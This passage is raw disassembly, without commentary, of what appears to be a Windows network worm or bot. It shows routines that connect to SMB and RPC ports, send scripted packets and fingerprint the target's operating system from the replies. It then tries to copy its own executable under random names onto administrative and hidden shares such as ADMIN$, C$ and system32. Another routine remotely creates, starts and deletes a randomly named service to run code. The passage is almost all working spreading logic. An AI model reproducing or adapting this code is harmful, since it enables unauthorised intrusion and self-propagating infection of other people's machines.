ecx test eax, eax pop ecx jz loc_404F48 xor eax, eax inc eax jmp loc_404DD8 ; --------------------------------------------------------------------------- loc_404728: ; CODE XREF: sub_404525+A3Fj ; sub_404525+A55j lea eax, [ebp+var_23C] push eax push esi call sub_427B4E pop ecx test eax, eax pop ecx jz short loc_404755 lea eax, [ebp+var_43C] push eax push offset aWindows5_1 ; "Windows 5.1" call edi ; dword_437178 test eax, eax jnz short loc_404755 loc_40474D: ; CODE XREF: sub_404525+B96j push 3 loc_40474F: ; CODE XREF: sub_404525+1BCj ; sub_404525+899j ... pop eax jmp loc_404DD8 ; --------------------------------------------------------------------------- loc_404755: ; CODE XREF: sub_404525+214j ; sub_404525+226j lea eax, [ebp+var_23C] push eax push offset aSamba ; "Samba *" call sub_427B4E neg eax pop ecx sbb eax, eax pop ecx and eax, 9 jmp loc_404DD8 ; --------------------------------------------------------------------------- loc_404774: ; CODE XREF: sub_404525+37j lea eax, [ebp+var_1CC] xor ebx, ebx push eax push 2 mov [ebp+var_1], bl mov byte ptr [ebp+arg_4+3], bl call dword_4372B8 ; WSAStartup test eax, eax jnz loc_404DD6 push 6 push 1 push 2 call dword_4372BC ; socket mov edi, eax cmp edi, 0FFFFFFFFh jz loc_404DD6 push [ebp+arg_0] mov [ebp+var_20], 2 call dword_4372C0 ; inet_addr push 1BDh mov [ebp+var_1C], eax call dword_4372C4 ; ntohs mov [ebp+var_1E], ax lea eax, [ebp+var_20] push 10h push eax push edi call dword_4372CC ; connect cmp eax, 0FFFFFFFFh jz loc_404DCF mov esi, dword_4372D0 push ebx push 89h push offset dword_43C3B8 push edi call esi ; dword_4372D0 cmp eax, 0FFFFFFFFh jz loc_404DCF push ebx lea eax, [ebp+var_143C] push 1000h push eax push edi call dword_4372D4 ; recv cmp eax, 1 jl loc_404DCF push ebx push 0BDh push offset dword_43C448 push edi call esi ; dword_4372D0 cmp eax, 0FFFFFFFFh jz loc_404DCF push ebx lea eax, [ebp+var_143C] push 1000h push eax push edi call dword_4372D4 ; recv cmp eax, 0Ah jle loc_404DCF movzx eax, [ebp+var_1411] push 1Bh lea eax, [ebp+eax+var_140D] push eax lea eax, [ebp+var_3C] push eax call sub_429D10 push 0Bh lea eax, [ebp+var_3C] push offset aWindows5_1 ; "Windows 5.1" push eax call sub_42A520 add esp, 18h test eax, eax jnz short loc_404884 mov byte ptr [ebp+arg_4+3], 1 loc_404884: ; CODE XREF: sub_404525+359j mov eax, [ebp+var_141C] push 2 mov [ebp+var_6], eax lea eax, [ebp+var_6] push eax push offset dword_43C528 call sub_429420 add esp, 0Ch push ebx push 111h push offset dword_43C508 push edi call esi ; dword_4372D0 cmp eax, 0FFFFFFFFh jz loc_404DCF push ebx lea eax, [ebp+var_143C] push 1000h push eax push edi call dword_4372D4 ; recv cmp eax, 0Ah jle loc_404DCF push ebx push 6Fh push offset dword_43C620 push edi call esi ; dword_4372D0 cmp eax, 0FFFFFFFFh jz loc_404DCF push ebx lea eax, [ebp+var_143C] push 1000h push eax push edi call dword_4372D4 ; recv cmp eax, 0Ah jle loc_404DCF mov eax, [ebp+var_141C] push 2 mov [ebp+var_6], eax lea eax, [ebp+var_6] push eax push offset dword_43C6B0 call sub_429420 add esp, 0Ch push ebx push 3Bh push offset dword_43C690 push edi call esi ; dword_4372D0 cmp eax, 0FFFFFFFFh jz loc_404DCF push ebx lea eax, [ebp+var_143C] push 1000h push eax push edi call dword_4372D4 ; recv cmp eax, 0Ah jle loc_404DCF cmp byte ptr [ebp+var_1433], bl jnz loc_404DCF mov eax, [ebp+var_1420] push 2 mov [ebp+var_A], eax lea eax, [ebp+var_A] push eax push offset dword_43C754 call sub_429420 lea eax, [ebp+var_6] push 2 push eax push offset dword_43C758 call sub_429420 add esp, 18h push ebx push 5Fh push offset dword_43C738 push edi call esi ; dword_4372D0 cmp eax, 0FFFFFFFFh jz loc_404DCF push ebx lea eax, [ebp+var_143C] push 1000h push eax push edi call dword_4372D4 ; recv cmp eax, 0Dh jl loc_404DCF cmp [ebp+var_1433], 0C0000022h jnz short loc_4049D0 cmp byte ptr [ebp+arg_4+3], bl jz short loc_4049D0 mov [ebp+var_1], 1 loc_4049D0: ; CODE XREF: sub_404525+4A0j ; sub_404525+4A5j lea eax, [ebp+var_A] push 2 push eax push offset dword_43C6EC call sub_429420 lea eax, [ebp+var_6] push 2 push eax push offset dword_43C6F0 call sub_429420 add esp, 18h push ebx push 60h push offset dword_43C6D0 push edi call esi ; dword_4372D0 cmp eax, 0FFFFFFFFh jz loc_404DCF push ebx lea eax, [ebp+var_143C] push 1000h push eax push edi call dword_4372D4 ; recv cmp eax, 0Ah jle loc_404DCF cmp byte ptr [ebp+var_1433], bl jnz loc_404DCF mov eax, [ebp-1412h] push 2 mov [ebp+var_10], eax lea eax, [ebp+var_A] push eax push offset dword_43C7B4 call sub_429420 lea eax, [ebp+var_6] push 2 push eax push offset dword_43C7B8 call sub_429420 lea eax, [ebp+var_10] push 2 push eax push offset byte_43C7C1 call sub_429420 add esp, 24h push ebx push 243h push offset dword_43C798 push edi call esi ; dword_4372D0 cmp eax, 0FFFFFFFFh jz loc_404DCF push ebx lea eax, [ebp+var_143C] push 1000h push eax push edi call dword_4372D4 ; recv cmp eax, 0Ah jle loc_404DCF cmp byte ptr [ebp+var_1433], bl jnz loc_404DCF lea eax, [ebp+var_A] push 2 push eax push offset dword_43C9FC call sub_429420 lea eax, [ebp+var_6] push 2 push eax push offset dword_43CA00 call sub_429420 lea eax, [ebp+var_10] push 2 push eax push offset byte_43CA09 call sub_429420 add esp, 24h push ebx push 3Fh push offset dword_43C9E0 push edi call esi ; dword_4372D0 cmp eax, 0FFFFFFFFh jz loc_404DCF push ebx lea eax, [ebp+var_143C] push 1000h push eax push edi call dword_4372D4 ; recv cmp eax, 0Ah jle loc_404DCF cmp byte ptr [ebp+var_1433], bl jnz loc_404DCF lea eax, [ebp+var_A] push 2 push eax push offset dword_43CA3C call sub_429420 lea eax, [ebp+var_6] push 2 push eax push offset dword_43CA40 call sub_429420 lea eax, [ebp+var_10] push 2 push eax push offset byte_43CA49 call sub_429420 add esp, 24h push ebx push 0A7h push offset dword_43CA20 push edi call esi ; dword_4372D0 cmp eax, 0FFFFFFFFh jz loc_404DCF push ebx lea eax, [ebp+var_143C] push 1000h push eax push edi call dword_4372D4 ; recv cmp eax, 0Ah jle loc_404DCF cmp byte ptr [ebp+var_1433], bl jnz loc_404DCF push ebx push 3Fh push offset dword_43C9E0 push edi call esi ; dword_4372D0 cmp eax, 0FFFFFFFFh jz loc_404DCF push ebx lea eax, [ebp+var_143C] push 1000h push eax push edi call dword_4372D4 ; recv cmp eax, 42h jl loc_404DCF cmp [ebp+var_13FA], 3 jnz short loc_404BD2 cmp byte ptr [ebp+arg_4+3], bl jz short loc_404BD2 mov [ebp+var_1], 1 loc_404BD2: ; CODE XREF: sub_404525+6A2j ; sub_404525+6A7j lea eax, [ebp+var_A] push 2 push eax push offset dword_43C6EC call sub_429420 lea eax, [ebp+var_6] push 2 push eax push offset dword_43C6F0 call sub_429420 add esp, 18h push ebx push 60h push offset dword_43C6D0 push edi call esi ; dword_4372D0 cmp eax, 0FFFFFFFFh jz loc_404DCF push ebx lea eax, [ebp+var_143C] push 1000h push eax push edi call dword_4372D4 ; recv cmp eax, 0Ah jle loc_404DCF cmp byte ptr [ebp+var_1433], bl jnz loc_404DCF mov eax, [ebp-1412h] push 2 mov [ebp+var_10], eax lea eax, [ebp+var_A] push eax push offset dword_43C7B4 call sub_429420 lea eax, [ebp+var_6] push 2 push eax push offset dword_43C7B8 call sub_429420 lea eax, [ebp+var_10] push 2 push eax push offset byte_43C7C1 call sub_429420 add esp, 24h push ebx push 243h push offset dword_43C798 push edi call esi ; dword_4372D0 cmp eax, 0FFFFFFFFh jz loc_404DCF push ebx lea eax, [ebp+var_143C] push 1000h push eax push edi call dword_4372D4 ; recv cmp eax, 0Ah jle loc_404DCF cmp byte ptr [ebp+var_1433], bl jnz loc_404DCF lea eax, [ebp+var_A] push 2 push eax push offset dword_43C9FC call sub_429420 lea eax, [ebp+var_6] push 2 push eax push offset dword_43CA00 call sub_429420 lea eax, [ebp+var_10] push 2 push eax push offset byte_43CA09 call sub_429420 add esp, 24h push ebx push 3Fh push offset dword_43C9E0 push edi call esi ; dword_4372D0 cmp eax, 0FFFFFFFFh jz loc_404DCF push ebx lea eax, [ebp+var_143C] push 1000h push eax push edi call dword_4372D4 ; recv cmp eax, 0Ah jle loc_404DCF cmp byte ptr [ebp+var_1433], bl jnz loc_404DCF lea eax, [ebp+var_A] push 2 push eax push offset dword_43CAE4 call sub_429420 lea eax, [ebp+var_6] push 2 push eax push offset dword_43CAE8 call sub_429420 lea eax, [ebp+var_10] push 2 push eax push offset byte_43CAF1 call sub_429420 add esp, 24h push ebx push 73h push offset dword_43CAC8 push edi call esi ; dword_4372D0 cmp eax, 0FFFFFFFFh jz short loc_404DCF push ebx lea eax, [ebp+var_143C] push 1000h push eax push edi call dword_4372D4 ; recv cmp eax, 0Ah jle short loc_404DCF cmp byte ptr [ebp+var_1433], bl jnz short loc_404DCF push ebx push 3Fh push offset dword_43C9E0 push edi call esi ; dword_4372D0 cmp eax, 0FFFFFFFFh jz short loc_404DCF push ebx lea eax, [ebp+var_143C] push 1000h push eax push edi call dword_4372D4 ; recv cmp eax, 58h jl short loc_404DCF cmp byte ptr [ebp+arg_4+3], bl jz short loc_404DD6 cmp [ebp+var_13E4], 20000h jnz short loc_404DC3 push 5 jmp loc_40474F ; --------------------------------------------------------------------------- loc_404DC3: ; CODE XREF: sub_404525+895j cmp [ebp+var_1], bl jz short loc_404DD6 push 4 jmp loc_40474F ; --------------------------------------------------------------------------- loc_404DCF: ; CODE XREF: sub_404525+2B6j ; sub_404525+2D3j ... push edi call dword_4372D8 ; closesocket loc_404DD6: ; CODE XREF: sub_404525+22j ; sub_404525+3Ej ... xor eax, eax loc_404DD8: ; CODE XREF: sub_404525+1DBj ; sub_404525+1FEj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_404DDD: ; CODE XREF: sub_404525+30j push 6 push 1 push 2 call dword_456FD0 ; socket mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_404DD6 xor ebx, ebx push 10h lea eax, [ebp+var_20] push ebx push eax call sub_429760 add esp, 0Ch mov [ebp+var_20], 2 push 8Bh call dword_456F38 ; ntohs push [ebp+arg_0] mov [ebp+var_1E], ax call sub_41E3EC pop ecx mov [ebp+var_1C], eax lea eax, [ebp+var_20] push 10h push eax push esi call dword_456EBC ; connect cmp eax, edi jz short loc_404DD6 push ebx push 48h push offset unk_43C298 push esi call dword_456F8C ; send cmp eax, edi jz loc_4045DF mov esi, 2000h push ebx lea eax, [ebp+var_243C] push esi push eax push [ebp+arg_4] call dword_456F58 ; recv cmp eax, edi jz short loc_404EC0 push ebx push 33h push offset dword_43C2E4 push [ebp+arg_4] call dword_456F8C ; send cmp eax, edi jz short loc_404EC0 push ebx lea eax, [ebp+var_243C] push esi push eax push [ebp+arg_4] call dword_456F58 ; recv cmp eax, edi jz short loc_404EC0 push ebx push 4Ch push offset dword_43C318 push [ebp+arg_4] call dword_456F8C ; send cmp eax, edi jz short loc_404EC0 push ebx lea eax, [ebp+var_243C] push esi push eax push [ebp+arg_4] call dword_456F58 ; recv cmp eax, edi jnz short loc_404ECE loc_404EC0: ; CODE XREF: sub_404525+D9j ; sub_404525+F2j ... push [ebp+arg_4] loc_404EC3: ; CODE XREF: sub_404525+BBj call dword_456FF0 ; closesocket jmp loc_404DD6 ; --------------------------------------------------------------------------- loc_404ECE: ; CODE XREF: sub_404525+999j lea esi, [eax-2] mov [ebp+arg_0], ebx cmp esi, ebx jle short loc_404F1F lea edi, [ebp+esi+var_243B] loc_404EDF: ; CODE XREF: sub_404525+9F8j cmp [ebp+arg_0], 4 jge short loc_404F1F cmp [edi-1], bl jnz short loc_404F19 mov eax, [ebp+arg_0] sub eax, ebx jz short loc_404F07 dec eax jz short loc_404EFF dec eax jnz short loc_404F16 lea eax, [ebp+var_43C] jmp short loc_404F0D ; --------------------------------------------------------------------------- loc_404EFF: ; CODE XREF: sub_404525+9CDj lea eax, [ebp+var_23C] jmp short loc_404F0D ; --------------------------------------------------------------------------- loc_404F07: ; CODE XREF: sub_404525+9CAj lea eax, [ebp+var_263C] loc_404F0D: ; CODE XREF: sub_404525+9D8j ; sub_404525+9E0j push edi push eax call sub_42A5D0 pop ecx pop ecx loc_404F16: ; CODE XREF: sub_404525+9D0j inc [ebp+arg_0] loc_404F19: ; CODE XREF: sub_404525+9C3j dec esi dec edi cmp esi, ebx jg short loc_404EDF loc_404F1F: ; CODE XREF: sub_404525+14Dj ; sub_404525+15Ej ... push [ebp+arg_4] call dword_456FF0 ; closesocket lea eax, [ebp+var_23C] push eax push offset aWindowsServer2 ; "Windows Server 2003 *.*" call sub_427B4E pop ecx test eax, eax pop ecx jnz loc_4046C8 jmp loc_404705 ; --------------------------------------------------------------------------- loc_404F48: ; CODE XREF: sub_404525+1F5j lea eax, [ebp+var_23C] mov esi, offset aWindows2000Lan ; "Windows 2000 LAN Manager*" push eax push esi call sub_427B4E mov edi, dword_437178 pop ecx test eax, eax pop ecx jz loc_404728 lea eax, [ebp+var_43C] push eax push offset dword_43CB54 call edi ; dword_437178 test eax, eax jnz loc_404728 push 2 jmp loc_40474F ; --------------------------------------------------------------------------- loc_404F87: ; CODE XREF: sub_404525+29j push [ebp+arg_0] mov esi, 104h lea eax, [ebp+var_140] xor edi, edi push offset dword_43CB4C push esi push eax xor ebx, ebx mov [ebp+var_10], edi call sub_429BBE push esi lea eax, [ebp+var_140] push offset dword_43CB3C push eax call sub_4299E0 add esp, 1Ch lea eax, [ebp+var_140] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax call dword_43705C ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+arg_4], eax jz loc_405093 mov edi, 186A0h push edi call sub_4297B8 mov esi, eax push edi push ebx push esi call sub_429760 add esp, 10h lea eax, [ebp+arg_0] mov edi, dword_437058 push ebx push eax push 2710h push esi push 48h push offset dword_43C208 push [ebp+arg_4] call edi ; dword_437058 cmp byte ptr [esi+2], 0Ch jnz short loc_405080 lea eax, [ebp+arg_0] push ebx push eax push 2710h push esi push 18h push offset dword_43C254 push [ebp+arg_4] call edi ; dword_437058 cmp byte ptr [esi+2], 2 jnz short loc_405080 push 10h push offset dword_43C270 push [ebp+arg_0] push esi call sub_4044ED add esp, 10h test al, al jz short loc_405062 cmp [ebp+arg_0], 12Ch sbb edi, edi inc edi inc edi jmp short loc_405083 ; --------------------------------------------------------------------------- loc_405062: ; CODE XREF: sub_404525+B2Ej push 10h push offset dword_43C284 push [ebp+arg_0] push esi call sub_4044ED add esp, 10h neg al sbb eax, eax and eax, 3 mov edi, eax jmp short loc_405083 ; --------------------------------------------------------------------------- loc_405080: ; CODE XREF: sub_404525+AFAj ; sub_404525+B17j mov edi, [ebp+var_10] loc_405083: ; CODE XREF: sub_404525+B3Bj ; sub_404525+B59j push esi call sub_4298F2 pop ecx push [ebp+arg_4] call dword_437044 ; CloseHandle loc_405093: ; CODE XREF: sub_404525+ABBj mov eax, edi jmp loc_404DD8 ; --------------------------------------------------------------------------- loc_40509A: ; CODE XREF: sub_404525+1Bj push 3 push 1388h push [ebp+arg_0] call dword_456F7C ; inet_addr push eax call sub_4022E7 add esp, 0Ch test eax, eax jz loc_404DD6 jmp loc_40474D ; --------------------------------------------------------------------------- loc_4050C0: ; CODE XREF: sub_404525+14j push 6 push 1 push 2 call dword_456FD0 ; socket mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz loc_404DD6 xor ebx, ebx push 10h lea eax, [ebp+var_20] push ebx push eax call sub_429760 add esp, 0Ch mov [ebp+var_20], 2 push 87h call dword_456F38 ; ntohs push [ebp+arg_0] mov [ebp+var_1E], ax call sub_41E3EC pop ecx mov [ebp+var_1C], eax lea eax, [ebp+var_20] push 10h push eax push esi call dword_456EBC ; connect cmp eax, edi jz loc_4051DF push ebx push 48h push offset dword_43C208 push esi call dword_456F8C ; send cmp eax, edi jz loc_4051DF mov esi, 2000h push ebx lea eax, [ebp+var_243C] push esi push eax push [ebp+arg_4] call dword_456F58 ; recv cmp eax, edi jz loc_4051DF cmp [ebp+var_243A], 0Ch jnz short loc_4051DF push ebx push 18h push offset dword_43C254 push [ebp+arg_4] call dword_456F8C ; send cmp eax, edi jz short loc_4051DF push ebx lea eax, [ebp+var_243C] push esi push eax push [ebp+arg_4] call dword_456F58 ; recv mov esi, eax cmp esi, edi jz short loc_4051DF cmp [ebp+var_243A], 2 jnz short loc_4051DF push 10h push offset dword_43C270 lea eax, [ebp+var_243C] push esi push eax call sub_4044ED add esp, 10h test al, al jz short loc_4051BF cmp esi, 12Ch setnl bl inc ebx jmp short loc_4051DF ; --------------------------------------------------------------------------- loc_4051BF: ; CODE XREF: sub_404525+C8Cj push 10h push offset dword_43C284 lea eax, [ebp+var_243C] push esi push eax call sub_4044ED add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_4051DF: ; CODE XREF: sub_404525+BF8j ; sub_404525+C0Fj ... push [ebp+arg_4] call dword_456FF0 ; closesocket mov eax, ebx jmp loc_404DD8 sub_404525 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4051EF proc near ; CODE XREF: sub_40541D+412p var_208 = byte ptr -208h var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 208h push ebx push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push [ebp+arg_4] call dword_456F28 ; OpenSCManagerA xor esi, esi mov [ebp+var_4], eax cmp eax, esi jz loc_405355 push [ebp+arg_10] lea eax, [ebp+var_208] push [ebp+arg_0] push [ebp+arg_4] push offset aSSS_4 ; "%s\\%s\\%s" push eax call sub_429B03 add esp, 14h call sub_429B9C push 9 pop edi cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq idiv edi lea eax, [ebp+var_104] push edx push offset aDDDDD ; "%d%d%d%d%d" push eax call sub_429B03 add esp, 1Ch lea eax, [ebp+var_208] mov edi, 0F01FFh push esi push esi push esi push esi push esi push eax push 1 push 3 push 20h lea eax, [ebp+var_104] push edi push eax lea eax, [ebp+var_104] push eax push [ebp+var_4] call dword_456FB8 ; CreateServiceA mov ebx, eax cmp ebx, esi jnz short loc_4052C1 push [ebp+var_4] jmp loc_40534F ; --------------------------------------------------------------------------- loc_4052C1: ; CODE XREF: sub_4051EF+C8j push esi push esi push ebx call dword_456DD0 ; StartServiceA test eax, eax jz short loc_4052F5 push 1F4h call dword_437190 ; Sleep push ebx call dword_456E50 ; DeleteService push [ebp+var_4] call dword_456DE4 ; CloseServiceHandle push ebx loc_4052EA: ; CODE XREF: sub_4051EF+14Dj call dword_456DE4 ; CloseServiceHandle xor eax, eax inc eax jmp short loc_405357 ; --------------------------------------------------------------------------- loc_4052F5: ; CODE XREF: sub_4051EF+DDj call dword_437170 ; RtlGetLastWin32Error cmp eax, 41Dh jnz short loc_40533E push edi push offset dword_4439CC push [ebp+var_4] call dword_456DC8 ; OpenServiceA mov edi, eax cmp edi, esi jz short loc_40533E push esi push esi push edi call dword_456DD0 ; StartServiceA test eax, eax jz short loc_40533E push ebx call dword_456E50 ; DeleteService push [ebp+var_4] call dword_456DE4 ; CloseServiceHandle push ebx call dword_456DE4 ; CloseServiceHandle push edi jmp short loc_4052EA ; --------------------------------------------------------------------------- loc_40533E: ; CODE XREF: sub_4051EF+111j ; sub_4051EF+126j ... push ebx call dword_456E50 ; DeleteService push [ebp+var_4] call dword_456DE4 ; CloseServiceHandle push ebx loc_40534F: ; CODE XREF: sub_4051EF+CDj call dword_456DE4 ; CloseServiceHandle loc_405355: ; CODE XREF: sub_4051EF+26j xor eax, eax loc_405357: ; CODE XREF: sub_4051EF+104j pop edi pop esi pop ebx leave retn sub_4051EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40535C proc near ; CODE XREF: sub_40541D+4ECp var_3AC = byte ptr -3ACh var_1A4 = byte ptr -1A4h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 3ACh push ebx push edi lea eax, [ebp+var_1A4] push 190h mov edi, dword_437184 push eax push 0FFFFFFFFh xor ebx, ebx push [ebp+arg_0] mov [ebp+var_4], ebx push ebx push ebx call edi ; dword_437184 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_1A4] push eax call dword_456E2C test eax, eax jnz short loc_40540E mov ecx, [ebp+var_4] cmp ecx, ebx jz short loc_40540E mov eax, [ecx] push esi push 3Ch xor edx, edx pop esi div esi xor edx, edx push 10h push ebx sub eax, [ecx+18h] mov ecx, 5A0h inc eax inc eax div ecx lea eax, [ebp+var_14] push eax mov esi, edx call sub_429760 imul esi, 0EA60h add esp, 0Ch lea eax, [ebp+var_3AC] mov [ebp+var_14], esi push 208h push eax push 0FFFFFFFFh push [ebp+arg_4] push ebx push ebx call edi ; dword_437184 lea eax, [ebp+var_3AC] mov [ebp+var_8], eax lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_1A4] push eax call dword_456E84 test eax, eax pop esi jnz short loc_40540E inc ebx loc_40540E: ; CODE XREF: sub_40535C+3Ej ; sub_40535C+45j ... push [ebp+var_4] call dword_456FE0 mov eax, ebx pop edi pop ebx leave retn sub_40535C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40541D proc near ; CODE XREF: sub_405965+34p var_514 = byte ptr -514h var_410 = byte ptr -410h var_30C = byte ptr -30Ch var_20C = byte ptr -20Ch var_108 = byte ptr -108h var_104 = dword ptr -104h var_F8 = dword ptr -0F8h var_F4 = dword ptr -0F4h var_EC = dword ptr -0ECh var_E8 = dword ptr -0E8h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_DC = dword ptr -0DCh var_D8 = dword ptr -0D8h var_D4 = dword ptr -0D4h var_D0 = dword ptr -0D0h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_C0 = dword ptr 0C8h arg_C8 = dword ptr 0D0h arg_D0 = dword ptr 0D8h push ebp mov ebp, esp sub esp, 514h push ebx push esi push edi call sub_428017 xor edi, edi push 20h lea eax, [ebp+var_108] push edi push eax call sub_429760 mov eax, [ebp+arg_8] add esp, 0Ch mov [ebp+var_F4], eax lea eax, [ebp+var_108] push edi mov [ebp+var_104], 1 push [ebp+arg_0] mov [ebp+var_F8], edi mov [ebp+var_EC], edi push [ebp+arg_4] push eax call dword_457000 test eax, eax jnz loc_405951 push [ebp+arg_0] mov esi, 104h lea eax, [ebp+var_514] push offset aAdministratorS ; "Administrator\\\\%s$" push esi push eax call sub_429BBE lea eax, [ebp+var_514] add esp, 10h mov [ebp+var_D0], eax mov eax, offset aCWindowsSystem ; "C:\\WINDOWS\\system32$" mov [ebp+var_E8], offset byte_454A54 mov [ebp+var_E4], offset aAdmin_2 ; "ADMIN$" mov [ebp+var_E0], offset aIpc ; "IPC$" mov [ebp+var_DC], offset aPrint ; "PRINT$" mov [ebp+var_D8], offset aS_7 ; "S$" mov [ebp+var_D4], offset aNetlogon ; "NETLOGON$" mov [ebp+var_CC], offset aB ; "B$" mov [ebp+var_C8], offset aC_0 ; "C$" mov [ebp+var_C4], offset aD ; "D$" mov [ebp+var_C0], offset aE_1 ; "E$" mov [ebp+var_BC], offset aF ; "F$" mov [ebp+var_B8], offset aG ; "G$" mov [ebp+var_B4], offset asc_43E014 ; "H$" mov [ebp+var_B0], offset aI_1 ; "I$" mov [ebp+var_AC], offset aJ ; "J$" mov [ebp+var_A8], offset aK_0 ; "K$" mov [ebp+var_A4], offset asc_43E004 ; "L$" mov [ebp+var_A0], offset aM_3 ; "M$" mov [ebp+var_9C], offset aN_0 ; "N$" mov [ebp+var_98], offset aO ; "O$" mov [ebp+var_94], offset aP_3 ; "P$" mov [ebp+var_90], offset aQ_0 ; "Q$" mov [ebp+var_8C], offset aR ; "R$" mov [ebp+var_88], offset aT ; "T$" mov [ebp+var_84], offset aU_0 ; "U$" mov [ebp+var_80], offset aV ; "V$" mov [ebp+var_7C], offset aW ; "W$" mov [ebp+var_78], offset asc_43DFDC ; "X$" mov [ebp+var_74], offset aY_0 ; "Y$" mov [ebp+var_70], offset aZ_1 ; "Z$" mov [ebp+var_6C], eax mov [ebp+var_68], offset aCWinnt ; "C:\\WINNT$" mov [ebp+var_64], offset aDWindows ; "D:\\WINDOWS$" mov [ebp+var_60], offset aCWinntSystem32 ; "C:\\WINNT\\system32$" mov [ebp+var_5C], eax mov [ebp+var_58], offset aDWinntSystem32 ; "D:\\WINNT\\system32$" mov [ebp+var_54], offset aDWindowsSystem ; "D:\\WINDOWS\\system32$" mov [ebp+var_50], offset aEWinntSystem32 ; "E:\\WINNT\\system32$" mov [ebp+var_4C], offset aEWindowsSystem ; "E:\\WINDOWS\\system32$" mov [ebp+var_48], offset aCDocume1Admini ; "C$\\DOCUME~1\\ADMINI~1\\" mov [ebp+var_44], offset aDDocume1Admini ; "D$\\DOCUME~1\\ADMINI~1\\" mov [ebp+var_40], offset aCDocume1Admi_0 ; "C$\\DOCUME~1\\ADMINI~1$" mov [ebp+var_3C], offset aDDocume1Admi_0 ; "D$\\DOCUME~1\\ADMINI~1$" mov [ebp+var_38], offset aAdministrado_1 ; "ADMINISTRADOR$" mov [ebp+var_34], offset aAdministrato_1 ; "ADMINISTRATOR$" mov [ebp+var_30], offset aPipe_0 ; "PIPE\\" mov [ebp+var_2C], offset aPipe ; "PIPE$" mov [ebp+var_28], offset aWindows_0 ; "WINDOWS$" mov [ebp+var_24], offset aWinnt_0 ; "WINNT$" mov [ebp+var_20], offset aMysql_0 ; "MYSQL$" mov [ebp+var_1C], offset aMssql_0 ; "MSSQL$" mov [ebp+var_18], offset aDrivec ; "drivec$" mov [ebp+var_14], offset aBrowser ; "BROWSER$" mov [ebp+var_10], offset aDevice0 ; "device0$" mov [ebp+var_C], edi call sub_429B9C push 9 pop edi cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi mov ebx, offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe" idiv ecx lea eax, [ebp+var_30C] push edx push offset dword_4439B4 push ebx push eax call sub_429B03 add esp, 20h lea eax, [ebp+var_410] push esi push eax push 0 call dword_437070 ; GetModuleHandleA push eax call dword_43717C ; GetModuleFileNameA and [ebp+var_4], 0 mov esi, offset aSSS_4 ; "%s\\%s\\%s" loc_4056DF: ; CODE XREF: sub_40541D+3E4j mov eax, [ebp+var_4] lea ecx, [ebp+var_30C] push ecx mov eax, [ebp+eax*4+var_E8] push eax lea eax, [ebp+var_20C] push [ebp+arg_8] push esi push eax call sub_429B03 add esp, 14h lea eax, [ebp+var_20C] push eax call dword_43706C ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_405728 lea eax, [ebp+var_20C] push 80h push eax call dword_437068 ; SetFileAttributesA loc_405728: ; CODE XREF: sub_40541D+2F7j lea eax, [ebp+var_20C] push 0 push eax lea eax, [ebp+var_410] push eax call dword_437064 ; CopyFileA test eax, eax mov [ebp+var_8], eax jnz loc_405811 call dword_437170 ; RtlGetLastWin32Error cmp eax, 5 jnz loc_4057FA lea eax, [ebp+var_20C] push 0 push eax call sub_42A6C0 pop ecx test eax, eax pop ecx jnz loc_4057FA call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call 